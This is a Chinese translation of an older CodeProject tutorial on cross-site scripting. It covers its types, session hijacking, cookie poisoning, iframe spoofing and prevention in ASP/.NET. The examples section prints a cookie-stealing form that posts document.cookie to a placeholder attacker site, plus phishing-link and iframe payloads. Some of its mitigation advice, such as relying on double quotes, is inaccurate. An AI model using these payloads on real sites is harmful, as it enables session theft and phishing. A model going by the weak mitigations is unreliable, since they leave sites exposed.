65.9K
CodeProject 正在变化。 阅读更多。
Home

跨站脚本:Web 应用程序中的常见威胁

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.09/5 (16投票s)

2005 年 6 月 20 日

CPOL

13分钟阅读

viewsIcon

91276

跨站脚本:Web 应用程序中的常见威胁。

目录

引言

用于创建 Web 应用程序前端的 HTML 输出通常包含一些客户端可执行代码。此代码在客户端运行,有助于提高性能并执行常见的客户端验证。此代码的另一个用途可能是显示“热图”,即客户端上的鼠标悬停图像。

要实现此目标,有许多流行的技术可用,例如 JavaScript、VBScript、ECMAScript(欧洲计算机制造商协会)。所有这些脚本都在最终用户的浏览器中运行,并为网站提供动态内容。我们可以将脚本代码指定为内联或使用 src 文件(<script type='text/javascript' language='Javascript' src='Includes/common.js'>)。使用 src 可以使代码看起来更整洁。因此,我们在这里可以理解,对于浏览器而言,<script> 标签的作用是本地运行。请不要将其与 .NET 语言的 <script runat =”server”> 混淆。例如,以下脚本将在浏览器中显示一个简单的“hello”。此脚本将使用客户端操作系统 API 显示消息框。

<script>alert(‘hello’)</script>

问题

问题在于数据与代码的混合。我们可以说 HTML 是浏览器的“数据”,当被浏览器处理时会呈现出漂亮的动态 HTML,而 <script> 标签是嵌入在数据中的“代码”。

跨站脚本如何工作

跨站脚本(也称为 XSS,因为 CSS 会与层叠样式表混淆)利用了上述数据与代码混合的问题。这通常适用于应用程序从最终用户获取输入并在浏览器中显示相同输入的场景。或者应用程序从用户那里获取 HTML 输入并显示给其他用户。例如,让我们考虑一个虚拟搜索页面。它使用表单提交的 GET 方法工作。此页面包含一个文本框、一个按钮、一个动态生成的表格和一个关于搜索文本的标题。假设标题中有类似“您搜索的”+<用户输入>+“返回了以下结果:”这样的文本。现在,如果用户搜索“donuts”,他将会在动态表格中看到结果,并且文本将显示如下:

 Your search on donuts returned following results:

如果搜索文本在未考虑 XSS 的情况下显示,并且某些恶意用户搜索的文本是 <script>alert(‘hello’)</script>,那么标题标签将不会显示

Your search on <script>alert(‘hello’)</script> returned following results:

而是执行脚本,并弹出一个显示 hello 的消息框。现在,如果恶意用户将 URL(由于此页面基于 GET 方法工作,因此 URL 很容易获得)发送给某个受害者,那么此消息框将出现在他的浏览器中。

跨站脚本攻击的种类

用户可以通过两种方式看到其他人发送的数据。他可以立即看到数据(聊天会话)或稍后看到(已存档)。因此,基于以上事实,我们可以说 XSS 可以分为两类:

  • 持久性攻击
  • 非持久性攻击

持久性攻击

在持久性攻击中,恶意用户会将输入发送到应用程序的某个部分,然后此输入将对公众或其他用户可用。此类应用程序的常见形式可能是约会网站、要求用户开放式评论的网站、要求用户填写留言簿的网站。为了自由,应用程序可能忽略了 XSS 攻击的危险,并允许用户输入 HTML,以便最终用户可以通过放置标签来美化其输入。恶意用户可以利用这种自由,并在他给出的响应中放入客户端脚本。在恶意用户保存其输入后,他提供的信息就成为数据库的一部分,以后任何查看此信息的用户都可能成为受害者。

非持久性攻击

在这些攻击中,恶意用户输入的数据直接呈现给用户。没有中间的持久性存储。这种攻击通常以发送给受害者的格式错误的 URL 的形式发生。可能会有基于 HTML 的聊天应用程序,允许用户输入 HTML 数据。但是,使用文本框显示输出的 HTML 聊天是安全的,因为文本框只会显示脚本的内容而不是执行脚本。

攻击者通过跨站脚本攻击能做什么?

会话劫持

在深入了解攻击者能做什么之前,让我们先看看 Web 是如何工作的。

WWW 依赖于 HTTP 协议。HTTP 请求主要由两部分组成:消息头和消息体。有关这些部分的描述,请参阅 HTTP 的 RFC。消息头包含客户端软件名称、引用者、执行脚本路径等通用信息,而消息体由表单控件的名称-值对组成。(表单可以是通过 HTML 方式向特定 Web 地址发起通用请求。)HTTP 是一种无状态协议。这意味着服务器无法区分两个客户端。为了克服这个问题并让服务器区分客户端 X 和客户端 Y,我们有了 Web 服务器上的会话概念。会话基于一个称为会话 ID 的 ID。因此,每次客户端向服务器发送其会话 ID,以便服务器能够识别它们。此 ID 对每个客户端都是唯一的,并且此 ID 也有时间限制。这意味着此 ID 仅在给定的时间段内有效。因此,为了将此 ID 返回给服务器,客户端可以将它放在请求的一部分,或者可以将其放在请求的头部。如果会话 ID 包含在请求中,则为非 cookie 使用。如果会话 ID 是头部的一部分,则为 cookie 使用。** Cookie 可能包含任何数据,如应用程序逻辑,并用于在无状态的 HTTP 协议中的页面之间维护状态。

所以我要强调的是,如果用户 A 拥有服务器发送给用户 B 的 Cookie,而用户 A 使用此 Cookie,那么对于服务器来说,他是用户 B 而不是用户 A。攻击者试图通过 XSS 攻击进行 Cookie 盗窃来利用这种无状态架构。在攻击者获得 Cookie 后,只需发送此 Cookie 到 Web 服务器并伪装其他用户的身份即可。要使用脚本攻击获取 Cookie,攻击者需要制作一个特殊表单,将 `document.cookie` 的值发布回他的站点。

Cookie 投毒

一些网站可能使用 Cookie 为用户提供个性化的外观和感觉。它们可能在 Cookie 中存储用户偏好和其他用户相关信息。但是,如果这样的网站容易受到 XSS 攻击,那么攻击者就可以使用 Cookie 来静默地操纵数据,然后在下次使用 Cookie 时,最终用户可能会遇到一些问题。在这里,再次使用 `document.cookie` 来用脚本操纵现有的 Cookie 值。但是,如果应用程序盲目地将 Cookie 值写入输出流,则此攻击是可能的。

格式错误的 URL

利用 XSS 攻击,一个聪明的攻击者可以欺骗最终用户以获取信用卡号。为此,攻击者可以在其易受攻击的脚本中使用“a href”标签,该链接可能会将用户从您的网站引导到攻击者的网站,在那里他可以显示一个与被欺骗网站相似的屏幕,并要求捐赠或升级会员资格。金额可能低至 1 美元,因为主要目标不是金额而是信用卡号。网络钓鱼攻击就是这样一种攻击。

IFRAME

攻击者可以使用一个 IFRAME 标签,将其高度和宽度设置为 100%,然后最终用户看到的将是攻击者的页面,而不是您的页面。因此,对于最终用户来说,它看起来是您的网站,因为他可以在地址栏上看到您的地址,但实际上攻击者正在欺骗他。

DOS 攻击

DOS 代表拒绝服务攻击。要对您网站的特定页面进行 DOS 攻击,攻击者可以创建一个脚本,该脚本以特定时间间隔(例如 20 毫秒)运行,然后执行代码。在这种情况下,一个简单的消息框就足够了。虽然不是致命攻击,但它仍然会惹恼访问您电子商务网站的客户。显示买家评论可能是一个陷阱。

攻击列表是持续不断的,甚至可能导致窃取系统本地文件数据。可能会在未点击任何链接的情况下下载木马到客户端。

防止脚本攻击

脚本注入和 ASP.NET 的 ValidateRequest = ‘true’ 页面标签ValidationRequest = true 通常会检查客户端的不安全输入,并且默认会禁止任何 HTML 标签。然而,在我写这篇文章的时候,它并没有检查作为 **<%00 标签在此>** 传递的 HTML 标签。例如 <%00 font>。将其设置为 false 是一个好主意,如果您期望客户端填写 HTML 输入。但是,您应该仔细检查输入中是否有任何脚本标签。

使用 Regex:使用正则表达式检查客户端输入是一个好主意,但攻击者可能会以编码形式传递数据,而不是以纯文本格式发送。

使用 server.HTMLEncode (.NET):虽然这是 .NET 中的一个函数,但许多现代 Web 技术都提供类似的函数。您可以使用这些函数来显示一个用户输入给另一个用户。这些函数将 HTML 标签转换为编码形式。因此,脚本不会被执行,而是呈现在页面上。所以基本上我的意思是,对传入的 < 和 > 符号进行编码。

使用双引号:如果您使用用户输入生成链接,而不是呈现纯文本,可以将输入放在双引号中并显示给用户。例如,<A href="<user input>">。这种方法有效,因为客户端脚本中的转义字符是单引号而不是双引号。

** 您还需要注意编码问题,因为攻击者可能会对利用字符串进行编码,而您的预防措施可能无法捕捉到它。

XSS 示例

为了简单起见,我们将假设一个易受 XSS 攻击的 ASP 应用程序代码片段:<% Response.Write (“Your search on’” + Request.Querystring(“SearchString”) + “returned following results:” ) %>。以下所有示例都将此代码作为基础代码,您需要将 JavaScript 代码作为 `SearchString` 参数值传递。在这里,我使用了 ASP 示例,但是跨站漏洞在几乎所有 Web 技术以及编译的脚本文件(.chm)中都非常普遍。关键是,任何将 HTML 数据与脚本代码混合并忽略用户输入卫生处理的应用程序都容易受到 XSS 攻击。让我们看看攻击将如何利用上述查询字符串变量。

请注意,查询字符串只是一种方法。在这里,输入可能来自 cookie 或数据库,如果输入包含利用字符串,则可能导致问题。上面显示的示例是非持久性攻击的类型。但是,如果输入来自 cookie 或数据库而不是查询字符串,那将是持久性攻击会话劫持。要劫持会话,攻击者需要获得受害者的 cookie。因此,他需要创建一个表单并使其提交到他的站点。此表单将包含 Cookie 值,因为攻击者知道他网站的操作,他知道哪个 Cookie 对应哪个站点。

</form> <form name=’a’ action = ‘attackersiteaddress’ method =’post’>
<input type = hidden value= ‘<script> + document.cookie + </script>’>
</form>
<script>a.submit()</script>

上面的脚本会将 cookie 值发布到攻击者的站点,然后他可以形成一个请求并将 cookie 值附加到它,从而获得对该站点的访问权限。上面的脚本可以在各种事件上运行,如页面加载、鼠标悬停、鼠标单击等来提交表单,或者攻击者可以直接使用 `setTimeout` 方法来提交表单。

Cookie 投毒:Cookie 投毒涉及损坏 Cookie 的值,并且应用程序的一部分依赖于 Cookie 来设置 `response.write`。在我们的示例中,让我们假设 Cookie 用于存储用户上次搜索的值以及日期-时间。Cookie 投毒通常包括攻击者对网站进行离线分析。也就是说,攻击者会先访问网站,然后分析下载的各种 Cookie,然后制定攻击计划。

<script> document.cookie.userlastsearch = ‘<A href="attackersiteAddress">
  you have won a random prize please click here to continue’ 
</script>

在这里,攻击者更新了上次搜索的值,该值带有指向他网站的 href。他可以在那里要求用户“重新登录以领取您的奖品”。这里的 Cookie 被投毒了,用户每次访问网站都会受到影响,除非他删除 Cookie 缓存,否则他会看到此消息。因此,最初攻击者可以用 5 美元引诱他,然后要求他为您的网站提供的一些精美产品支付 50 美元。

IFRAMEIFRAME 是一个 HTML 标签,甚至不需要脚本标签即可显示。 IFRAME 元素定义了一个内联框架,其中可以包含外部对象,包括其他 HTML 文档。因此,攻击者只需写下这样的语句:

<iframe SRC="attacker site" height = “100%” width =”100%”>

在那里,他可以通过显示与您的网站外观和感觉相同的 UI 来欺骗用户。

DOS 攻击:这不过是调用 `setTimeout` 函数,将时间间隔设置为例如 10,这将导致某些代码片段反复执行。但是,这段代码可以很简单,例如一个用户友好的 OK 对话框,或者将用户从您的网站重定向到其他网站。如果用户这样做,攻击发生在该特定页面将对最终用户不可用或极其难以使用。设想一种情况,您正在使用 Cookie 来设置某些会话值(这似乎是一种糟糕的设计),那么您在哪里使用会话值来向用户呈现消息,所有这些页面都将不可用。

最后,我想用一句话来总结:如果您有武器和受害者,取决于您如何杀死受害者。

© . All rights reserved.